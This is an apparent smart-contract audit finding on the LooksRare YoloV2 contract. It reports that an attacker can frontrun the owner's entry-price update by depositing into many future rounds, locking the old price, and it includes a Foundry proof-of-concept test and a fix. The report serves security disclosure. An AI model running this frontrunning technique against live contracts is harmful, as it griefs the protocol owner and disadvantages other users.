Acrobatic Flint Lobster

medium

# Frontrunning: Calls to `updateValuePerEntry(uint96)` may be frontrun to secure preferable `roundValuePerEntry`s.

## Summary

When a trusted [`owner`](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L1499C22-L1499C40) makes a call to [`updateValuePerEntry(uint96)`](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L792C5-L798C6), an attacker with a preference for the current [`valuePerEntry`](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L197) may frontrun using [`depositETHIntoMultipleRounds(uint256[])`](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L312) in an effort to lock the current [`valuePerEntry`](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L197) for an attacker-controlled number of rounds.

This can lead to griefing and a competitive advantage for attackers.

## Vulnerability Detail

When making a call to [`depositETHIntoMultipleRounds(uint256[])`](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L312), an account may deposit into `amounts.length - 1` future rounds.

This carries the implicit effect of initializing and caching the current price of a [`valuePerEntry`](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L197) against one of the affected future rounds:

```solidity
function depositETHIntoMultipleRounds(uint256[] calldata amounts) external payable nonReentrant whenNotPaused {
    
    // ...

    for (uint256 i; i < numberOfRounds; ++i) {
        uint256 roundId = _unsafeAdd(startingRoundId, i);
        Round storage round = rounds[roundId];
        uint256 roundValuePerEntry = round.valuePerEntry;
        if (roundValuePerEntry == 0) {
@>          (, , roundValuePerEntry) = _writeDataToRound({roundId: roundId, roundValue: 0});
        }

        // ...
    }

    // ...

}
```

If an adversary with preferences for the current entry price were to detect an undesirable call to [`updateValuePerEntry(uint96)`](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L792C5-L798C6) in the mempool, it would be possible for them to front run with [`depositETHIntoMultipleRounds(uint256[])`](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L312), which would have the effect of reserving the current [`valuePerEntry`](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L197) for the number of rounds specified by the attacker:

```solidity
function test_sherlock_latchCurrentPrice() public {

    uint256 numberOfRounds = 100;
    uint256[] memory amounts = new uint256[](numberOfRounds);

    address _ATTACKER = address(0x69);

    // Prepare sufficient ether.
    vm.deal(_ATTACKER, numberOfRounds * 0.1 ether);

    for (uint256 i; i < numberOfRounds;) {
        amounts[i] = 0.1 ether;
        unchecked { ++i; }
    }

    /// @dev Deposit for a future number of rounds.
    vm.prank(_ATTACKER);
    yolo.depositETHIntoMultipleRounds{value: numberOfRounds * 0.1 ether}(amounts);

    for (uint256 i; i < numberOfRounds; i += 1) {

        (IYoloV2.RoundStatus status, , , uint40 cutoffTime, uint40 drawnAt, , address winner, uint96 roundValuePerEntry, , ) = yolo.getRound(i + 1);

        assertEq(roundValuePerEntry, 0.01 ether);

    }

    /// @dev The owner attempts to update the `roundValuePerEntry`.
    vm.prank(owner);
    yolo.updateValuePerEntry(1 ether);

    /// @dev We can assert the `roundValuePerEntry` has been increased.
    assertEq(yolo.valuePerEntry(), 1 ether);

    // However, the attacker managed to cache the older, cheaper entry price!
    for (uint256 i; i < numberOfRounds; i += 1) {

        (IYoloV2.RoundStatus status, , , uint40 cutoffTime, uint40 drawnAt, , address winner, uint96 roundValuePerEntry, , ) = yolo.getRound(i + 1);

        /// @notice The price is still locked.
        assertEq(roundValuePerEntry, 0.01 ether);

    }

}
```

Further, for excessively long arrays of [`amounts`](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L312) (such as those exploiting the zero-amount deposit bug raised separately, which permits arbitrarily long arrays at negligible cost), it would be possible to effectively nullify the effects of an owner's call to [`updateValuePerEntry(uint96)`](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L792C5-L798C6) for an extensive period of time. In this scenario, we do not require the attacker to even have a particular preference for the entry price, or even anticipation of an update in the mempool - this is instead just a form of griefing.

The attack can be structured in the form of initializing each round with a minimum number of two participants, preventing the round from being cancelled through standard means, instead being closed out through the last resort [`cancel(uint256 numberOfRounds)`](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L429).

## Impact

The most realistic impact of this is griefing of the protocol owner, who must explicitly [`cancel(uint256 numberOfRounds)`](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L429) the specified rounds to attain the desired [`valuePerEntry`](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L197), and for the users who may suffer increased gas fees to either [`rolloverETH(WithdrawalCalldata[],bool)`](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L643) or [`withdrawDeposits(WithdrawalCalldata[])`](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L598C14-L598C81).

Manual resolution of the issue will both degrade UX and incur transaction costs for affected users, considering their means of resolution is pull-payment based.

Additionally, since off-chain callers will use the public [`valuePerEntry()`](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L197) to determine transaction value, it is possible for an attacker to induce information asymmetry between the intended amount of entries minted, versus the realized number of entries, which gives rise to a competitive advantage against unsuspecting users.

## Code Snippet

```solidity
/**
 * @inheritdoc IYoloV2
 */
function updateValuePerEntry(uint96 _valuePerEntry) external {
    _validateIsOwner();
    _updateValuePerEntry(_valuePerEntry);
}
```

## Tool used

Vim, Foundry

## Recommendation

Consider introducing a restriction on the maximum number of future rounds that can be deposited into i.e. place an upper bound on the length of [`amounts`](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L312) in a call to [`depositETHIntoMultipleRounds(uint256[])`](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L312).